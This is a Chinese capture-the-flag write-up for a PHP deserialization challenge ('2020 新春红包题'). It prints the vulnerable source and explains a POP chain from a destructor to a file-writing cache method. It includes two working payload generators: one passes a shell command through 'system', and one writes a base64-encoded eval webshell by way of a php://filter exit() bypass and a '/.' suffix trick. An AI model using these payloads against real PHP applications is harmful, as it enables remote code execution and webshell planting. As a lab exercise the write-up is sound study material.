[2020 新春红包题]1

0x00 知识点

反序列化 构造pop链
改编自
2019全国大学生安全运维赛 EZPOP

0x01解题

题目给了我们源码

 <?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php
//" . sprintf('%012d', $expire) . "
 exit();?>
" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

先贴上师傅链接

https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

首先可以看到 序列化A,当A::autosave==false成立时在 __destruct 中调用了A::save()

A::save()中调用了A::store->set(),将A::store赋值为一个B对象,即可调用B::set()。

B::set()可以写入文件,注意这里:原题中文件名(以及路径)和文件内容后半部分可控。但是我们此题修改了一下使得文件名随机,并且比较了后缀并限制了后缀不能为php

 public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

文件内容前半部分中,存在一个exit(),会导致写入的webshell无法执行

利用base64_decode以及php://filter可以绕过

通过php://filter/write=convert.base64-decode将文件内容解码后写入,bypass exit。

然后回溯看看$filename和$data是怎么处理的。
$filename:

用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name构成filename

$data:

108行拼接前半部分,通过上面的方法bypass。

97行调用B::serialize($value),$value是B::set($name, $value, $expire = null)的参数。

B::serialize($value)调用B::options'serialize'处理了$value。

再看$value:

$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode。
所以将shellcode经过base64编码,B::options['serialize']赋值为base64_decode。

跟着师傅链接分析了一下,

payload:

直接打命令进去,生成flag文件 获取flag

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../wtz.phtml';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}
class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];
}
echo urlencode(serialize(new A()));

payload2:

绕过php后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = '/../wtz.php/.';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>


解法三:
先写一个图片马
再写一个解析 .user.ini
使图片马作为 php 执行
链接:

http://althims.com/2020/01/29/buu-new-year/

参考链接:

http://althims.com/2020/01/29/buu-new-year/
https://www.suk1.top/2020/01/31/2020新春红包/
http://www.rayi.vip/2019/11/27/EIS 2019/
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

原文地址:https://www.cnblogs.com/wangtanzhi/p/12337443.html